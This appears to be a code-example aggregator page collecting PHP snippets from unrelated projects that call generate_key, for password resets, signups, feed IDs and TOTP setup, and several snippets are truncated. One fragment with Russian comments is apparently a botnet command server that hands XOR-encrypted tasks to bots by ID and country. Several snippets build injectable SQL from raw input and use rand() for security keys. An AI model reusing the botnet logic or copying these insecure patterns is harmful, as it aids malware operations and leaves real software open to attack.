PHP generate_key函数代码示例

/**
 * checks the validity of input parameters, fills $page['errors'] and
 * $page['infos'] and send an email with confirmation link
 *
 * @return bool (true if email was sent, false otherwise)
 */
function process_password_request()
{
    global $page, $conf;
    if (empty($_POST['username_or_email'])) {
        $page['errors'][] = l10n('Invalid username or email');
        return false;
    }
    $user_id = get_userid_by_email($_POST['username_or_email']);
    if (!is_numeric($user_id)) {
        $user_id = get_userid($_POST['username_or_email']);
    }
    if (!is_numeric($user_id)) {
        $page['errors'][] = l10n('Invalid username or email');
        return false;
    }
    $userdata = getuserdata($user_id, false);
    // password request is not possible for guest/generic users
    $status = $userdata['status'];
    if (is_a_guest($status) or is_generic($status)) {
        $page['errors'][] = l10n('Password reset is not allowed for this user');
        return false;
    }
    if (empty($userdata['email'])) {
        $page['errors'][] = l10n('User "%s" has no email address, password reset is not possible', $userdata['username']);
        return false;
    }
    $activation_key = generate_key(20);
    list($expire) = pwg_db_fetch_row(pwg_query('SELECT ADDDATE(NOW(), INTERVAL 1 HOUR)'));
    single_update(USER_INFOS_TABLE, array('activation_key' => pwg_password_hash($activation_key), 'activation_key_expire' => $expire), array('user_id' => $user_id));
    $userdata['activation_key'] = $activation_key;
    set_make_full_url();
    $message = l10n('Someone requested that the password be reset for the following user account:') . "\r\n\r\n";
    $message .= l10n('Username "%s" on gallery %s', $userdata['username'], get_gallery_home_url());
    $message .= "\r\n\r\n";
    $message .= l10n('To reset your password, visit the following address:') . "\r\n";
    $message .= get_gallery_home_url() . '/password.php?key=' . $activation_key . '-' . urlencode($userdata['email']);
    $message .= "\r\n\r\n";
    $message .= l10n('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n";
    unset_make_full_url();
    $message = trigger_change('render_lost_password_mail_content', $message);
    $email_params = array('subject' => '[' . $conf['gallery_title'] . '] ' . l10n('Password Reset'), 'content' => $message, 'email_format' => 'text/plain');
    if (pwg_mail($userdata['email'], $email_params)) {
        $page['infos'][] = l10n('Check your email for the confirmation link');
        return true;
    } else {
        $page['errors'][] = l10n('Error sending email');
        return false;
    }
}

/**
 * search an available feed_id
 *
 * @return string feed identifier
 */
function find_available_feed_id()
{
    while (true) {
        $key = generate_key(50);
        $query = '
SELECT COUNT(*)
  FROM ' . USER_FEED_TABLE . '
  WHERE id = \'' . $key . '\'
;';
        list($count) = pwg_db_fetch_row(pwg_query($query));
        if (0 == $count) {
            return $key;
        }
    }
}

function find_available_check_key()
{
    while (true) {
        $key = generate_key(16);
        $query = '
select
  count(*)
from
  ' . USER_MAIL_NOTIFICATION_TABLE . '
where
  check_key = \'' . $key . '\';';
        list($count) = pwg_db_fetch_row(pwg_query($query));
        if ($count == 0) {
            return $key;
        }
    }
}

 function signup()
 {
     require_once WPPR_PLUGIN_DIR . '/models/signup-model.php';
     $model = new Signup_Model();
     $username = sanitize_user($this->username);
     $email = sanitize_email($this->email);
     $password = $this->password;
     $activation_key = generate_key($email);
     $userdata = array($username, $email, wp_hash_password($password), $activation_key, CUR_DATE, REMOTE_IP);
     if (is_wp_error($this->validate_signup())) {
         $attributes['errors'] = $this->validate_signup()->get_error_message();
     } else {
         $result = $model->insert_signup($userdata);
         if (!is_wp_error($result)) {
             $attributes['success'] = 'Please check your email for confirmation';
             //send email confirmation to user
             $this->send_activation_link($username, $email, $password, $activation_key);
         } else {
             $attributes['errors'] = 'Something went wrong. Please try again later';
         }
     }
     return $attributes;
 }

 private function update($post)
 {
     if (isset($post)) {
         $account = $_POST['account'];
         //Update account password
         if ($_POST['submit'] == 1) {
             $this->current_password = $account['current_password'];
             $this->new_password = $account['new_password'];
             $this->confirm_password = $account['confirm_password'];
             $valid = $this->validate_password();
             if (is_wp_error($valid)) {
                 $errors[] = $valid->get_error_message();
                 $result['errors'] = $errors;
             } else {
                 $new_password = wp_hash_password($account['new_password']);
                 $success = wp_set_password($this->new_password, $this->user_id);
                 if (!is_wp_error($success)) {
                     $result['success'] = 1;
                 } else {
                     $result['errors'] = $success->get_error_message();
                 }
             }
         }
         //Update email address
         if ($_POST['submit'] == 2) {
             $this->email = sanitize_email($account['email']);
             $valid = $this->validate_email();
             if (is_wp_error($valid)) {
                 $errors[] = $valid->get_error_message();
                 $result['errors'] = $errors;
             } else {
                 $userdata = array('ID' => $this->user_id, 'user_email' => $this->email);
                 $update = wp_update_user($userdata);
                 if (!is_wp_error($update)) {
                     //generate key for validation
                     $this->key = generate_key($this->email);
                     if (metadata_exists('user', $this->user_id, 'is_email_verified')) {
                         update_user_meta($this->user_id, 'is_email_verified', 0, get_user_meta($this->user_id, 'is_email_verified', true));
                     } else {
                         add_user_meta($this->user_id, 'is_email_verified', 0, true);
                     }
                     if (metadata_exists('user', $this->user_id, 'email_verification_key')) {
                         update_user_meta($this->user_id, 'email_verification_key', $this->key, get_user_meta($this->user_id, 'email_verification_key', true));
                     } else {
                         add_user_meta($this->user_id, 'email_verification_key', $this->key, true);
                     }
                     //send verification link to email
                     $this->send_verification_link();
                     $result['success'] = 2;
                 } else {
                     $result['errors'] = $result->get_error_message();
                 }
             }
         }
         if ($_POST['submit'] == 3) {
             //generate key for validation
             $this->key = generate_key($this->email);
             update_user_meta($this->user_id, 'is_email_verified', 0, get_user_meta($this->user_id, 'is_email_verified', true));
             update_user_meta($this->user_id, 'email_verification_key', $this->key, get_user_meta($this->user_id, 'email_verification_key', true));
             $this->send_verification_link();
             $result['success'] = 2;
         }
         wp_reset_postdata();
         return $result;
     }
 }

function config_edit()
{
    extract($GLOBALS, EXTR_SKIP);
    $ucsalt = substr(uniqid(rand()), 0, 6);
    $ucfounderpw = md5(md5($ucfounderpw) . $ucsalt);
    $regdate = time();
    $ucauthkey = generate_key();
    $ucsiteid = generate_key();
    $ucmykey = generate_key();
    $config = "<?php \r\ndefine('UC_DBHOST', '{$dbhost}');\r\n";
    $config .= "define('UC_DBUSER', '{$dbuser}');\r\n";
    $config .= "define('UC_DBPW', '{$dbpw}');\r\n";
    $config .= "define('UC_DBNAME', '{$dbname}');\r\n";
    $config .= "define('UC_DBCHARSET', '" . DBCHARSET . "');\r\n";
    $config .= "define('UC_DBTABLEPRE', '{$tablepre}');\r\n";
    $config .= "define('UC_COOKIEPATH', '/');\r\n";
    $config .= "define('UC_COOKIEDOMAIN', '');\r\n";
    $config .= "define('UC_DBCONNECT', 0);\r\n";
    $config .= "define('UC_CHARSET', '" . CHARSET . "');\r\n";
    $config .= "define('UC_FOUNDERPW', '{$ucfounderpw}');\r\n";
    $config .= "define('UC_FOUNDERSALT', '{$ucsalt}');\r\n";
    $config .= "define('UC_KEY', '{$ucauthkey}');\r\n";
    $config .= "define('UC_SITEID', '{$ucsiteid}');\r\n";
    $config .= "define('UC_MYKEY', '{$ucmykey}');\r\n";
    $config .= "define('UC_DEBUG', false);\r\n";
    $config .= "define('UC_PPP', 20);\r\n";
    $fp = fopen(CONFIG, 'w');
    fwrite($fp, $config);
    fclose($fp);
}

        function unsubscribe($code = '')
        {
            global $db, $nl_config, $lang;
            if (!empty($code)) {
                $sql = "SELECT COUNT(abo_id) AS num_subscribe\n\t\t\t\tFROM " . ABO_LISTE_TABLE . "\n\t\t\t\tWHERE abo_id = " . $this->account['abo_id'];
                if (!($result = $db->query($sql))) {
                    trigger_error('Impossible de vérifier la table de jointure', ERROR);
                    return false;
                }
                $num_subscribe = $result->column('num_subscribe');
                $db->beginTransaction();
                $sql = "DELETE FROM " . ABO_LISTE_TABLE . "\n\t\t\t\tWHERE liste_id = " . $this->listdata['liste_id'] . "\n\t\t\t\t\tAND abo_id = " . $this->account['abo_id'];
                if (!$db->query($sql)) {
                    trigger_error('Impossible d\'effacer l\'entrée de la table abo_liste', ERROR);
                    return false;
                }
                if ($num_subscribe == 1) {
                    $sql = 'DELETE FROM ' . ABONNES_TABLE . ' 
					WHERE abo_id = ' . $this->account['abo_id'];
                    if (!$db->query($sql)) {
                        trigger_error('Impossible d\'effacer l\'entrée de la table des abonnés', ERROR);
                        return false;
                    }
                    $this->message = $lang['Message']['Unsubscribe_3'];
                } else {
                    $this->message = $lang['Message']['Unsubscribe_2'];
                }
                $db->commit();
                $this->alert_admin(false);
                return true;
            } else {
                $this->account['code'] = generate_key(20);
                $sql = "UPDATE " . ABO_LISTE_TABLE . "\n\t\t\t\tSET register_key = '{$this->account['code']}'\n\t\t\t\tWHERE abo_id = {$this->account['abo_id']}\n\t\t\t\t\tAND liste_id = " . $this->listdata['liste_id'];
                if (!$db->query($sql)) {
                    trigger_error('Impossible d\'assigner le nouvelle clé d\'enregistrement', ERROR);
                    return false;
                }
                $this->mailer->set_from($this->listdata['sender_email'], unhtmlspecialchars($this->listdata['liste_name']));
                $this->mailer->set_address($this->account['email']);
                $this->mailer->set_subject($lang['Subject_email']['Unsubscribe_1']);
                $this->mailer->set_priority(3);
                $this->mailer->set_return_path($this->listdata['return_email']);
                $email_tpl = $this->listdata['use_cron'] ? 'unsubscribe_cron' : 'unsubscribe_form';
                $this->mailer->use_template($email_tpl, array('LISTE' => unhtmlspecialchars($this->listdata['liste_name']), 'SITENAME' => $nl_config['sitename'], 'URLSITE' => $nl_config['urlsite'], 'SIG' => $this->listdata['liste_sig']));
                if ($this->listdata['use_cron']) {
                    $this->mailer->assign_tags(array('EMAIL_NEWSLETTER' => $this->liste_email, 'CODE' => $this->account['code']));
                } else {
                    $this->mailer->assign_tags(array('LINK' => $this->make_link()));
                }
                if (!$this->mailer->send()) {
                    $this->message = $lang['Message']['Failed_sending'];
                    return false;
                }
                $this->message = $lang['Message']['Unsubscribe_1'];
                return true;
            }
        }

     $emails = array_udiff($emails, $emails_ok, 'strcasecmp');
     foreach ($emails as $email) {
         $db->beginTransaction();
         $sql_data = array();
         $sql_data['abo_email'] = $email;
         $sql_data['abo_status'] = ABO_ACTIF;
         if (!$db->build(SQL_INSERT, ABONNES_TABLE, $sql_data)) {
             $report .= sprintf('%s : SQL error (#%d: %s)%s', $email, $db->errno, $db->error, WA_EOL);
             $db->rollBack();
             continue;
         }
         $sql_data = array();
         $sql_data['abo_id'] = $db->lastInsertId();
         $sql_data['liste_id'] = $listdata['liste_id'];
         $sql_data['format'] = $format;
         $sql_data['register_key'] = generate_key(20, false);
         $sql_data['register_date'] = $current_time;
         $sql_data['confirmed'] = SUBSCRIBE_CONFIRMED;
         if (!$db->build(SQL_INSERT, ABO_LISTE_TABLE, $sql_data)) {
             trigger_error('Impossible d\'insérer une nouvelle entrée dans la table abo_liste', ERROR);
         }
         $db->commit();
         fake_header(true);
     }
 }
 //
 // Selon que des emails ont été refusés ou pas, affichage du message correspondant
 // et écriture éventuelle du rapport d'erreur
 //
 if ($report != '') {
     if (is_writable(WA_TMPDIR) && ($fw = fopen(WA_TMPDIR . '/wa_import_report.txt', 'w'))) {

// Mot de passe perdu
//
if ($mode == 'sendpass') {
    $login = !empty($_POST['login']) ? trim($_POST['login']) : '';
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    if (isset($_POST['submit'])) {
        $sql = "SELECT admin_id\n\t\t\tFROM " . ADMIN_TABLE . "\n\t\t\tWHERE LOWER(admin_login) = '" . $db->escape(strtolower($login)) . "'\n\t\t\t\tAND admin_email = '" . $db->escape($email) . "'";
        if (!($result = $db->query($sql))) {
            trigger_error('Impossible d\'obtenir les informations du compte', CRITICAL_ERROR);
        }
        if (!($admin_id = $result->column('admin_id'))) {
            $error = TRUE;
            $msg_error[] = $lang['Message']['Error_sendpass'];
        }
        if (!$error) {
            $new_password = generate_key(12);
            require WAMAILER_DIR . '/class.mailer.php';
            $mailer = new Mailer(WA_ROOTDIR . '/language/email_' . $nl_config['language'] . '/');
            if ($nl_config['use_smtp']) {
                $mailer->smtp_path = WAMAILER_DIR . '/';
                $mailer->use_smtp($nl_config['smtp_host'], $nl_config['smtp_port'], $nl_config['smtp_user'], $nl_config['smtp_pass']);
            }
            $mailer->set_charset($lang['CHARSET']);
            $mailer->set_format(FORMAT_TEXTE);
            $mailer->set_from($email);
            $mailer->set_address($email);
            $mailer->set_subject($lang['Subject_email']['New_pass']);
            $mailer->use_template('new_admin_pass', array('PSEUDO' => $login, 'PASSWORD' => $new_password));
            if (!$mailer->send()) {
                trigger_error('Failed_sending', ERROR);
            }

function gappsconf($req)
{
    /* The following DNS recrods are added:
    			MX      10 ASPMX.L.GOOGLE.COM
    			MX      20 ALT1.ASPMX.L.GOOGLE.COM
    			MX      20 ALT2.ASPMX.L.GOOGLE.COM
    			MX      30 ASPMX2.GOOGLEMAIL.COM
    			MX      30 ASPMX3.GOOGLEMAIL.COM
    			MX      30 ASPMX4.GOOGLEMAIL.COM
    			MX      30 ASPMX5.GOOGLEMAIL.COM
    			calendar        CNAME   ghs.google.com
    			docs    CNAME   ghs.google.com
    			mail    CNAME   ghs.google.com
    			sites   CNAME   ghs.google.com
    		*/
    $domain = $req['form']['domain'];
    $rid = $_SESSION['rid'];
    $global_salt = $_SESSION['global_salt'];
    $user_salt = sha1($rid);
    $key = generate_key($user_salt, $global_salt);
    $password = symmetric_decrypt($_COOKIE['data'], $key);
    $auth_params = "auth-userid={$rid}&auth-password={$password}";
    $get_orderid_url = "https://test.httpapi.com/api/domains/orderid.json?{$auth_params}&domain-name={$domain}";
    $result = file_get_contents($get_orderid_url);
    if (is_equal(false, $result)) {
        return array('template' => 'error', 'error_msg' => 'Could not fetch Order ID. Go back and try again.');
    }
    $orderid = $result;
    $activate_url = "https://test.httpapi.com/api/dns/activate.json?{$auth_params}";
    $add_cname_url = "https://test.httpapi.com/api/dns/manage/add-cname-record.json?{$auth_params}&domain-name={$domain}";
    $add_mx_url = "https://test.httpapi.com/api/dns/manage/add-mx-record.json?{$auth_params}&domain-name={$domain}";
    $requests[] = array("{$activate_url}&order-id={$orderid}", 'Activating DNS');
    $requests[] = array("{$add_cname_url}&value=ghs.google.com&host=mail", "Adding CNAME for mail.{$domain}");
    $requests[] = array("{$add_cname_url}&value=ghs.google.com&host=calendar", "Adding CNAME for calendar.{$domain}");
    $requests[] = array("{$add_cname_url}&value=ghs.google.com&host=docs", "Adding CNAME for docs.{$domain}");
    $requests[] = array("{$add_cname_url}&value=ghs.google.com&host=sites", "Adding CNAME for sites.{$domain}");
    $requests[] = array("{$add_mx_url}&value=ASPMX.L.GOOGLE.COM&priority=10", "Adding MX: ASPMX.L.GOOGLE.COM");
    $requests[] = array("{$add_mx_url}&value=ALT1.ASPMX.L.GOOGLE.COM&priority=20", "Adding MX: ALT1.ASPMX.L.GOOGLE.COM");
    $requests[] = array("{$add_mx_url}&value=ALT2.ASPMX.L.GOOGLE.COM&priority=20", "Adding MX: ALT2.ASPMX.L.GOOGLE.COM");
    $requests[] = array("{$add_mx_url}&value=ASPMX2.GOOGLEMAIL.COM&priority=30", "Adding MX: ASPMX2.GOOGLEMAIL.COM");
    $requests[] = array("{$add_mx_url}&value=ASPMX3.GOOGLEMAIL.COM&priority=30", "Adding MX: ASPMX3.GOOGLEMAIL.COM");
    $requests[] = array("{$add_mx_url}&value=ASPMX4.GOOGLEMAIL.COM&priority=30", "Adding MX: ASPMX4.GOOGLEMAIL.COM");
    $requests[] = array("{$add_mx_url}&value=ASPMX5.GOOGLEMAIL.COM&priority=30", "Adding MX: ASPMX5.GOOGLEMAIL.COM");
    $results = array();
    foreach ($requests as $request) {
        $result = file_get_contents($request[0]);
        if (is_equal(false, $result)) {
            return array('template' => 'error', 'error_msg' => "Error while adding {$request[1]}. Go back and try again.");
        }
        $results[] = array($request[1], json_decode($result, true));
    }
    return array('results' => $results);
}

/**
 * Show Two-Step Authentication Options
 *
 * @codeCoverageIgnore
 *
 * @param \WP_User $user
 */
function user_options($user)
{
    if (!isset($user->ID)) {
        return;
    }
    wp_nonce_field('totp_options', '_nonce_totp_options', false);
    $key = get_user_meta($user->ID, '_totp_key', true);
    $site_name = get_bloginfo('name', 'display');
    ?>
	<table class="form-table">
		<tr id="totp">
			<th><label for="totp-authcode"><?php 
    _e('Two-Step Authentication', 'dovedi');
    ?>
</label></th>
			<td>
				<?php 
    if (false === $key || empty($key)) {
        $key = generate_key();
        ?>
					<button type="button" class="button button-secondary" onclick="jQuery('#totp-enable').toggle();"><?php 
        esc_html_e('Enable', 'dovedi');
        ?>
</button>
				<?php 
    } else {
        ?>
					<button type="button" class="button button-secondary" onclick="if(confirm('<?php 
        echo esc_js(__('Are you sure you want to disable two-step authentication?', 'dovedi'));
        ?>
')){jQuery('[name=totp-key]').val('');}"><?php 
        esc_html_e('Disable', 'dovedi');
        ?>
</button>
				<?php 
    }
    ?>
				<div id="totp-enable" style="display:none;">
					<br />
					<img src="<?php 
    echo esc_url(get_qr_code($site_name, $user->user_email, $key));
    ?>
" id="totp-qrcode" />
					<p><strong><?php 
    echo esc_html($key);
    ?>
</strong></p>
					<ul>
						<li><?php 
    esc_html_e('1. Either use your mobile device\'s Authenticator app to scan the QR code above or enter the key manually.', 'dovedi');
    ?>
</li>
						<li><?php 
    esc_html_e('2. Then, enter an authentication code generated by the app in the field below and click "Update" to complete setup', 'dovedi');
    ?>
</li>
					</ul>
					<p>
						<strong><label for="totp-authcode"><?php 
    esc_html_e('Authentication Code:', 'dovedi');
    ?>
</label></strong>
						<input type="hidden" name="totp-key" value="<?php 
    echo esc_attr($key);
    ?>
" />
						<input type="tel" name="totp-authcode" id="totp-authcode" class="input regular-text" value="" size="20" pattern="[0-9]*" />
					</p>
				</div>
			</td>
		</tr>
	</table>

	<?php 
}

        // работа с задачами
        // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий есть как у пришедшего и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи
        $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = '" . $bid . "' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')");
        if ($task[0] == 0) {
            // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий для всех и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи
            $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = 'all' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')");
        }
        $task[0] == 0 ? exit(SECRET_KEY) : false;
        // формируем вывод задания
        $taskOut = '';
        foreach ($task as $k => $v) {
            $v['flags'] = trim($v['flags']);
            if (!empty($v['flags'])) {
                $v['flags'] = str_split($v['flags']);
                $v['flags'] = ' -' . implode(' -', $v['flags']);
            }
            // правка от 2 сентября 2011г.
            if ($v['command'] == 'update') {
                $v['flags'] = '';
            }
            $taskOut .= $v['command'] . $v['flags'] . ' ' . $v['url'] . ' ' . $v['functionName'] . "\r\n";
            // ставим задачу в завершенные для этого бота
            $db->query("INSERT INTO `finished` (`botId`, `taskId`) VALUES ('" . $bid . "', '" . $v['id'] . "');");
            // умножаем лимитер на одну тиерацию если задание конечно по лимиту итераций
            $db->query("UPDATE `tasks` SET  `count` =  '" . intval($v['count'] + 1) . "' WHERE `id` ='" . $v['id'] . "'");
        }
        //echo trim($taskOut,"\r\n");
        $xorkey = generate_key(10);
        exit($xorkey . encrypt($taskOut, $xorkey));
    }
}

<?php

namespace MBeckett\ElggCopy;

$key = elgg_get_plugin_setting('request_key', PLUGIN_ID);
if (!$key) {
    $key = generate_key();
    elgg_set_plugin_setting('request_key', $key, PLUGIN_ID);
}

<?php

function generate_key($lenght)
{
    $allowed = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz";
    $key = "";
    for ($i = 0; $i < $lenght; $i++) {
        $key .= $allowed[rand(0, strlen($allowed) - 1)];
    }
    return $key;
}
$ssh_key = "";
if (is_numeric($_GET["lenght"]) && !empty($_GET["lenght"])) {
    $ssh_key = generate_key($_GET["lenght"]);
} else {
    $ssh_key = "impossible de générer une clé.";
}
?>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html" charset="utf-8" />
        <meta charset="utf-8" />
        <title>Utils 0.1</title>
        <link rel="stylesheet" href="style.css" type="text/css" /> 

    </head>
    <body>
        <form method="get" action=".">
            <ul>
                <li>
                    <label for="input_id">Longueur : </label>

function pshare_get_key()
{
    $candidate = generate_key(30);
    // in very rare cases, with Piwigo <2.8, generate_key may return some "="
    // at the end
    if (!preg_match(PSHARE_KEY_PATTERN, $candidate)) {
        return pshare_get_key();
    }
    $query = '
SELECT
    COUNT(*)
  FROM ' . PSHARE_KEYS_TABLE . '
  WHERE uuid = \'' . $candidate . '\'
;';
    list($counter) = pwg_db_fetch_row(pwg_query($query));
    if (0 == $counter) {
        return $candidate;
    } else {
        return pshare_get_key();
    }
}